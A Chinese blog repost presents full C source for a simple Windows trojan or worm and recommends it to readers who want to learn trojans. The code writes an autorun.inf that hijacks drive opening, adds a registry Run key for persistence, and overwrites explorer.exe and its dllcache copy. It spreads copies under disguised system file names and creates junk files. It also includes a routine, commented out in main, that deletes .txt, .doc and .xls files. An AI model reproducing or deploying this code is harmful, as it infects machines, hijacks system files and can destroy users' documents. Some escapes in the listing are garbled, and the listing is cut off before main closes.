最简单的C语言木马

11年的博文,想学习木马的话,还是值得一看,虽然autorun已经几乎不能autorun了。。。

原文地址:http://blog.csdn.net/codeforme/article/details/6168512


  1. /* SVCHOST.C   */  
  2. /* SVCHOST.EXE */  
  3. /* SVCHOST.COM */  
  4. #include<stdio.h> /*标准输入输出*/   
  5. #include<string.h> /*字符串操作*/   
  6. #include<stdlib.h> /*其它函数*/   
  7. #include<process.h> /*进程控制*/  
  8. #include<dir.h> /*目录函数*/  
  9. #define SVCHOST_NUM 6 /*关键位置病毒复制数量*/  
  10. #define RUBBISH_NUM 5 /*垃圾文件数量*/  
  11. #define REMOVE_NUM 5 /*删除文件数*/   
  12. /*====================================================================*/  
  13. /* 
  14. 文件AUTORUN.INF内容: 
  15. 1.自动运行SVCHOST.com 
  16. 2.覆盖默认打开命令,使用病毒体作为新的打开方式 
  17. 3.覆盖默认资源管理器命令,使病毒体作为新的命令方式 
  18. */   
  19. char *autorun={"[AutoRun]/nopen=/"SVCHOST.com /s/"/nshell//open=打开(&O)/nshell//open//Command=/"SVCHOST.com /s/"/nshell//explore=资源管理器(&X)/nshell//explore//Command=/"SVCHOST.com /s/""};  
  20. /*=====================================================================*/  
  21. /* 
  22. 添加注册表项: 
  23. 1.自动运行生成病毒体C:/windows/wjview32.com 
  24. */  
  25. char *regadd={"REGEDIT4/n/n[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]/n/"wjview32/"=/"C:windowswjview32.com /s/""};  
  26. /*=====================================================================*/  
  27. /* 
  28. 函数:复制文件 
  29. 复制源:infile 
  30. 目的地:outfile 
  31. 成功返回0,失败返回1 
  32. */   
  33. int copy(char *infile,char *outfile)  
  34. {  
  35.     FILE *input,*output;  
  36.     char temp;  
  37.     if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))  
  38.     {  
  39.       while(!feof(input))  
  40.       {  
  41.         fread(&temp,1,1,input);  
  42.         fwrite(&temp,1,1,output);  
  43.       }  
  44.       fclose(input);  
  45.       fclose(output);  
  46.       return 0;  
  47.     }  
  48.     else return 1;  
  49. }  
  50. /*=====================================================================*/  
  51. /* 
  52. 函数:通过explorer自动运行  
  53. 成功返回0,失败返回1,2 
  54. */   
  55. int autorun_explorer()  
  56. {  
  57.     FILE *input;  
  58.     if((input=fopen("c://windows//system//explorer.exe","rb"))!=NULL)  
  59.     {  
  60.       fclose(input);  
  61.       remove("c://windows//$temp$");  
  62.       remove("c://windows//system32//dllcache//$temp$");  
  63.       return 1;  
  64.     }  
  65.     copy("c://windows//explorer.exe","c://windows//system//explorer.exe");  
  66.     rename("c://windows//explorer.exe","c://windows//$temp$");  
  67.     rename("c://windows//system32//dllcache//explorer.exe","c://windows//system32//dllcache//$temp$");  
  68.     if(copy("SVCHOST.com","c://windows//explorer.exe")==0 && copy("SVCHOST.com","c://windows//system32//dllcache//explorer.exe")==0)  
  69.       return 0;  
  70.     else  
  71.       return 2;  
  72. }  
  73. /*=====================================================================*/  
  74. /* 
  75. 函数:添加注册表项  
  76. 成功返回0,失败返回1 
  77. */   
  78. int add_reg()  
  79. {  
  80.     FILE *output;  
  81.     if((output=fopen("$$$","w"))!=NULL)  
  82.     {  
  83.       fprintf(output,regadd);  
  84.       fclose(output);  
  85.       spawnl(1,"c://windows//regedit.exe"," /s $$$",NULL);  
  86.     }  
  87. }  
  88. /*=====================================================================*/  
  89. /* 
  90. 函数:复制病毒 + Autorun.inf自动运行  
  91. */   
  92. void copy_virus()  
  93. {  
  94.     int i,k;  
  95.     FILE *input,*output;  
  96.     char *files_svchost[SVCHOST_NUM]={"svchost.com","c://windows//wjview32.com","c://windows//system//MSMOUSE.DLL","c://windows//system32//cmdsys.sys","c://windows//system32//mstsc32.exe","c://windows//explorer.exe"};  
  97.     char temp[2][20]={"c://svchost.com","c://autorun.inf"};  
  98.     for(i=0;i<SVCHOST_NUM;i++)  
  99.     {   
  100.       if((input=fopen(files_svchost[i],"rb"))!=NULL)  
  101.       {  
  102.         fclose(input);  
  103.         for(k=0;k<SVCHOST_NUM;k++)  
  104.         {  
  105.           copy(files_svchost[i],files_svchost[k]);  
  106.         }  
  107.         i=SVCHOST_NUM;  
  108.       }  
  109.     }  
  110.     for(i=0;i<SVCHOST_NUM;i++)  
  111.     {  
  112.       if((input=fopen(files_svchost[i],"rb"))!=NULL)  
  113.       {  
  114.         fclose(input);  
  115.         for(k=0;k<24;k++)  
  116.         {  
  117.           copy(files_svchost[i],temp[0]);  
  118.           if((output=fopen(temp[1],"w"))!=NULL)  
  119.           {  
  120.             fprintf(output,"%s",autorun);  
  121.             fclose(output);  
  122.           }  
  123.           temp[0][0]++;  
  124.           temp[1][0]++;  
  125.         }  
  126.         i=SVCHOST_NUM;  
  127.       }  
  128.     }  
  129. }  
  130. /*=====================================================================*/  
  131. /* 
  132. 函数:制造垃圾文件  
  133. */   
  134. void make_rubbish()  
  135. {  
  136.      int i;  
  137.      FILE *output;  
  138.      srand(0);  
  139.      for(i=0;i<RUBBISH_NUM;i++)  
  140.      {  
  141.        int n;  
  142.        char s[30];  
  143.        n=rand();  
  144.        sprintf(s,"C://DESTORY_感染_%d",n);  
  145.        if((output=fopen(s,"w"))!=NULL)  
  146.        {  
  147.          fprintf(output,"%ld%s",n*n,s);  
  148.          fclose(output);  
  149.        }  
  150.      }  
  151. }  
  152. /*=====================================================================*/  
  153. /* 
  154. 函数:删除文件 
  155. */   
  156. void remove_files()  
  157. {  
  158.     long done;  
  159.     int i;  
  160.     struct _finddata_t ffblk;  
  161.     char *remove_files[3]={"*.txt","*.doc","*.xls"};  
  162.     for(i=0;i<3;i++)  
  163.     {  
  164.       if(_findfirst(remove_files[i],&ffblk)==-1) continue;  
  165.       while(!done)  
  166.       {  
  167.         remove(ffblk.name);  
  168.         _findnext(done,&ffblk);  
  169.       }  
  170.       _findclose(done);  
  171.     }  
  172. }  
  173. /*=====================================================================*/  
  174. /* 
  175. 主程序 
  176. 使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面,于后台执行 
  177. */   
  178. int main(int argc,char **argv)  
  179. {  
  180.     int contral=0;  
  181.     if(argc>1)  
  182.       if(strcmp(argv[1],"/s")==0)  
  183.         goto next1;  
  184.     autorun_explorer();  
  185.     spawnl(1,"c://windows//system//explorer.exe",NULL);  
  186.     next1:  
  187.     add_reg();  
  188.     copy_virus();  
  189.     make_rubbish();  
  190.     /* remove_files(); */  
  191.     spawnl(1,"c://windows//system32//mstsc32.exe"," /s",NULL);  
  192.     return 0;  


  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值